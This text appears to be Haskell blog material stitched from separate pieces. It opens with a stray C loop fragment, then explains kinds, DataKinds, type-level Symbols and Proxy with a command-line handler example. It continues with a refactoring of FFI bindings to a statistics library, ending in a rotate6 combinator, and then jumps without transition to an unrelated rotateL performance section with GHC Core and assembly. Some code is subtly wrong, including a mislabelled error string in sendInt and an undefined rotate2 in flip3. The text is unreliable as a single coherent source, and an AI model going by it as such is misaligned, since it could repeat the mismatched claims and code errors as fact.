		*r4 += *p;
		SWPB((uint8_t *) r4);
		*r6 ^= *p;
		SWAP(*r6, *r4);
	} while (p++);
}

You intuitively understand that the type of the value 1 is Int within the expression:

λ 1 :: Int

Kinds extend this intuition for type constructors. The kind of the type constructor Int is * within the expression:

λ :kind Int
Int :: *

The * means that the type constructor is a fully applied lifted type. Lifted means that the value may contain bottom, or is boxed (can be jammed into a closure). You can think of types of kind * as types ready to have boxed values associated with them. Haskell calls these types inhabited.

When you see an arrow from kind to kind, you are reading the signature of a type with free type variables. Once these type level functions have had types applied to them, they become fully applied and inhabitable.

So a function at the value level:

λ :type (+1)
(+1) :: Num a => a -> a
λ :type (+1) 1
(+1) 1 :: Num a => a

Looks much like an equivalent function at the type level:

λ :kind Maybe
Maybe :: * -> *
λ :kind Maybe Int
Maybe Int :: *

Monad transformers are another interesting example:

λ :kind ReaderT
ReaderT :: * -> (* -> *) -> * -> *
λ :kind IO
IO :: * -> *
λ :kind ReaderT Int IO ()
ReaderT Int IO () :: *

If any of that confused you, I’d suggest skimming through the Wikipedia article for kinds and the informal semantics section of the GHC users guide.

Unstarlike kinds

Despite all these stars flying about, not all kinds are star. Class constraints are, funnily enough, Constraints.

λ :kind (forall a. Num a)
(forall a. Num a) :: Constraint

Unboxed primitives are magical hashes.

λ :set -XMagicHash 
λ import GHC.Prim

λ :type 'x'#
'x'# :: Char#

λ :kind Char#
Char# :: #

You’ll note these hashes are not lifted types, you can’t do some things that you might think you could.

λ :kind Maybe Char#

<interactive>:1:7:
    Expecting a lifted type, but ‘Char#’ is unlifted
    In a type in a GHCi command: Maybe Char#

λ undefined :: Char#

<interactive>:59:1:
    Kind incompatibility when matching types:
      a0 :: *
      Char# :: #
    In the first argument of ‘print’, namely ‘it’
    In a stmt of an interactive GHCi command: print it

An introduction to DataKinds

DataKinds are relatively simple. You turn on the extension and all of a sudden some of your data types have unique kinds!

λ :set -XDataKinds
λ data Animal = Pegasus | Octopus
λ :kind Pegasus
Pegasus :: Animal

There’s a few restrictions on what gets promoted to the kind level. You can read more about this in the datatype promotion section of the GHC users guide, which has a few nice examples too. None of that will be important for what we’re trying to do today, though.

DataKinds give you free type literals, by the way

Somewhat confusingly, type level literals are provided by the DataKinds extension. This interacts with the GHC.TypeLits package to provide two magical kinds, Nat and Symbol. We will ignore Nat, we’re not playing with natural numbers today.

The compiler will give you all possible type literals and an instance for the type class KnownSymbol for free:

data ("a" :: Symbol) -- type "a" of kind Symbol
data ("b" :: Symbol)
...
data ("ab" :: Symbol)
...

instance KnownSymbol "a"
instance KnownSymbol "b"
...
instance KnownSymbol "ab"
...

Proxies, like existentials, but exactly the opposite.

Because the type literal “a” has a kind of Symbol, we can never inhabit a Haskell value with it. Nevertheless, there is a trick to pass these things around as regular haskell values: Data.Proxy. There is not much documentation of Proxy, but let’s go through what we have.

-- | A concrete, poly-kinded proxy type
data Proxy t = Proxy

You can see that it’s essentially an existential in reverse. An existential will take a value and hide type information associated with it, keeping only a constraint. A Proxy will take no value and attach type information to it.

What do they mean by poly-kinded, you ask? Well, note that t is never used, t could really be anything! Well, the PolyKinds module provides the machinery to allow t to be of any kind.

λ :kind Proxy
Proxy :: k -> *

The k here stands for any kind. This means we can put our symbol in it and pass it around as a concrete value.

λ let p = Proxy :: Proxy "hai"
λ print p
Proxy

Run-time stringification

Within GHC.TypeLits lives a magical function:

symbolVal :: forall n proxy. KnownSymbol n => proxy n -> String

So we can get from a Symbol to a String at runtime via a Proxy, but what about the other way?

data SomeSymbol = forall n. KnownSymbol n => SomeSymbol (Proxy n)
someSymbolVal :: String -> SomeSymbol

There’s even a function for comparing these KnownSymbols:

sameSymbol :: (KnownSymbol a, KnownSymbol b)
           => Proxy a -> Proxy b -> Maybe (a :~: b)

This means that we can check for symbol equality at runtime, against a runtime input!

same :: (KnownSymbol a, KnownSymbol b) => Proxy a -> Proxy b -> Bool
same a b = isJust (sameSymbol a b)

Simple example: instances for the command line.

Putting this all together now, we can define an API for users to implement non-overlapping command-line actions.

{-# LANGUAGE DataKinds #-}
{-# LANGUAGE ExistentialQuantification #-}
{-# LANGUAGE PolyKinds #-}
{-# LANGUAGE FlexibleInstances #-}

import GHC.TypeLits
import Data.Proxy
import System.Environment
import Data.Maybe
import Control.Monad

-- | An existential box to place anything that is a Handler and KnownSymbol.
data SomeHandler
   = forall h. (KnownSymbol h, Handler h) => SomeHandler (Proxy h)

class Handler h where
    -- We need to pass the proxy in here because a class has to work on a 
    -- value that mentions at least one type variable.
    handleIt :: Proxy h -> IO ()

-- | The type just goes inline as a literal.
instance Handler "dance" where
    handleIt _ = putStrLn "*   *\n \\o/\n _|\n   \\"

-- | The user will need to place the commands in here to be iterated over to
-- check for a match.
handlers :: [SomeHandler]
handlers = [SomeHandler (Proxy :: Proxy "dance")]

same :: (KnownSymbol a, KnownSymbol b) => Proxy a -> Proxy b -> Bool
same a b = isJust (sameSymbol a b)

handleCommand :: [String] -> IO ()
handleCommand []      = error "please to command"
handleCommand (str:_) =
    -- A case statement is needed to extract the existential here, or GHC's
    -- brain explodes.
    case someSymbolVal str of
        SomeSymbol user_proxy ->
            forM_ handlers $ \(SomeHandler proxy) ->
                when (same user_proxy proxy) (handleIt proxy)

main :: IO ()
main = getArgs >>= handleCommand

And for the fruits of our labour:

$ runhaskell Commands.hs dance
*   *
 \o/
 _|
   \

The library was born of a real problem refactoring code; a quick search indicates I am not the first to come up with this solution, just the only one that has bothered to make a standalone library of it.

Convoluted theoretical examples aren’t my thing, so I’ll explain the actual problem from the top.

Situation:

I’m writing FFI bindings to a C library to send statistics to an internal system. This library is called ‘libmarquise’ and it sends statistics to a system we have invented called ‘vaultaire’. The names make me cringe too, you’ll be okay.

I more or less have to cover five very similar but slightly different functions, they are:

sendText    :: [(B.ByteString, B.ByteString)] -> Word64 
            -> B.ByteString -> Marquise ()
sendInt     :: [(B.ByteString, B.ByteString)] -> Word64
            -> Int64 -> Marquise ()
sendReal    :: [(B.ByteString, B.ByteString)] -> Word64
            -> Rational -> Marquise ()
sendCounter :: [(B.ByteString, B.ByteString)] -> Word64
            -> Marquise ()
sendBinary  :: [(B.ByteString, B.ByteString)] -> Word64
            -> B.ByteString -> Marquise ()

Iteration one:

The way I usually proceed from here is to simply implement one function the stupid way, and then try on a few different refactorings. This leads me to write:

sendText :: [(B.ByteString, B.ByteString)] -> Word64
         -> B.ByteString -> Marquise ()
sendText tag_pairs timestamp text = do
    connection <- ask
    liftIO $ void $
        withCStringArray (map fst tag_pairs) $ \fields_ptr ->
        withCStringArray (map snd tag_pairs) $ \values_ptr ->
            B.useAsCStringLen text $ \(text_ptr, text_len) ->
                E.throwIfMinus1 "marquise_send_text" $
                    F.c_marquise_send_text connection
                                           fields_ptr
                                           values_ptr
                                           (fromIntegral $ length tag_pairs)
                                           text_ptr
                                           (fromIntegral text_len)
                                           timestamp
  where
    withCStringArray :: [B.ByteString] -> (Ptr CString -> IO a) -> IO a
    withCStringArray bss f = do
        let continuations = map B.useAsCString bss in
            runCont (mapM cont continuations) $ \cstrings -> 
                SV.unsafeWith (SV.fromList cstrings) $ \ptr -> f ptr

 sendInt = undefined
 sendReal = undefined
 ...

Iteration two:

There are seven arguments to the FFI call to c_marquise_send_text. This makes me sad. I’m sure you can see the potential for code reuse here though.

Let’s make this a little nicer with a helper!

-- | Helper that builds a connection, cstring arrays and associated size,
-- then checks the continuation's result for negative one
withConnFieldsValuesLength :: String
                           -> [(B.ByteString, B.ByteString)]
                           -> (Ptr F.MarquiseConnection
                            -> Ptr CString
                            -> Ptr CString
                            -> CSize
                            -> IO CInt)
                           -> Marquise ()
withConnFieldsValuesLength c_function tag_pairs f = do
    connection <- ask
    liftIO $  void $ 
        withCStringArray (map fst tag_pairs) $ \fields_ptr ->
        withCStringArray (map snd tag_pairs) $ \values_ptr ->
            E.throwIfMinus1 c_function $ f connection
                                           fields_ptr
                                           values_ptr
                                           (fromIntegral $ length tag_pairs)
  where
    withCStringArray :: [B.ByteString] -> (Ptr CString -> IO a) -> IO a
    withCStringArray bss f' = do
            (runCont . mapM cont) (map B.useAsCString bss) $ \cstrings ->
                SV.unsafeWith (SV.fromList cstrings) f'

sendText :: [(B.ByteString, B.ByteString)] -> Word64 -> B.ByteString -> Marquise ()
sendText tag_pairs timestamp text =
    withConnFieldsValuesLength "marquise_send_text" tag_pairs $ \c f v l -> 
            B.useAsCStringLen text $ \(text_ptr, text_len) ->
                    F.c_marquise_send_text c f v l
                                           text_ptr
                                           (fromIntegral text_len)
                                           timestamp

Our withConnFieldsValueLenght does exactly what it’s name suggests, runs our code with a connection, tag fields, tag values and number of tags.

And so, sendInt and sendReal become very concise:

sendInt :: [(B.ByteString, B.ByteString)] -> Word64 -> Int64 -> Marquise ()
sendInt tag_pairs timestamp int =
    withConnFieldsValuesLength "marquise_send_text" tag_pairs $ \c f v l -> 
                F.c_marquise_send_int c f v l int timestamp

sendReal :: [(B.ByteString, B.ByteString)] -> Word64 -> Rational -> Marquise ()
sendReal tag_pairs timestamp r =
    withConnFieldsValuesLength "marquise_send_real" tag_pairs $ \c f v l -> 
                F.c_marquise_send_real c f v l (fromRational r) timestamp

Iteration three:

I hated passing c f v l around though, it really bothered me! If I could just partially apply the last to arguments to say, F.c_marquise_send_real, then I would be able to write that bit point free. What I really needed was a rotate6 function, then I’d be able to write:

sendInt :: [(B.ByteString, B.ByteString)] -> Word64 -> Int64 -> Marquise ()
sendInt tag_pairs timestamp int =
    withConnFieldsValuesLength "marquise_send_int" tag_pairs $
        (rotate6 . rotate6) F.c_marquise_send_int int timestamp

sendReal :: [(B.ByteString, B.ByteString)] -> Word64 -> Rational -> Marquise ()
sendReal tag_pairs timestamp r =
    withConnFieldsValuesLength "marquise_send_real" tag_pairs $
        (rotate6 . rotate6) F.c_marquise_send_real (fromRational r) timestamp

sendCounter :: [(B.ByteString, B.ByteString)] -> Word64 -> Marquise ()
sendCounter tag_pairs timestamp =
    withConnFieldsValuesLength "marquise_send_counter" tag_pairs $
        rotate5 F.c_marquise_send_counter timestamp

Yes, this is going to great lengths to remove a small bit of duplication, but I really do think that removing that clutter is worth it. Writing the definitions this way makes it much clearer what the difference between sendReal and sendInt. It’s important to remember that people can’t keep track that many things at once, it hurts their brains. Do you want to write code that hurts people? I suppose I do too sometimes. That’s besides the point.

Implementation of rotate6:

rotate6 :: (a -> b -> c -> d -> e -> f -> g) -> f -> a -> b -> c -> d -> e -> g
rotate6 = flip . (rotate5 .)
  where
    rotate5 = flip . (rotate4 .)
    rotate4 = flip . (rotate3 .)
    rotate3 = flip . (flip .)

Easy! You’ll note that we can compose these rotates to do whatever we like. For example:

-- | Reverse three arguments
flip3 :: (a -> b -> c -> d) -> (c -> b -> a -> d)
flip3 = rotate3 . rotate2

At first, my implementation’s performance was terrible.

However, with a little tinkering I was able to get the performance up on par with C, mostly due to inlinePerformIO which appears to have unboxed and inlined everything as best as could be expected.

GHC was even smart enough to turn a call to rotateL into what looks like the assembly output of hand written C.

To elaborate:

1. The little rotateL bit from this snippet:

prime1 = 2654435761
prime2 = 2246822519

vx v i = ((v + i * prime2) `rotateL` 13) * prime1

2. Became the core:

(narrow32Word#
   (timesWord#
      (narrow32Word#
	 (or#
	    (uncheckedShiftL# x#2_X1Bh 13)
	    (uncheckedShiftRL# x#2_X1Bh 19)))
      (__word 2654435761)))

3. Which begat:

_c31A:
...
	movl $2654435761,%esi
	movq %rcx,%rax
	shrq $19,%rax
	shlq $13,%rcx
	orq %rax,%rcx
	movl %ecx,%eax
	imulq %rsi,%rax
...

Which looks a lot like like:

#define rotl32(x,r) ((x << r) | (x >> (32 - r))

Neat! Well. I thought so.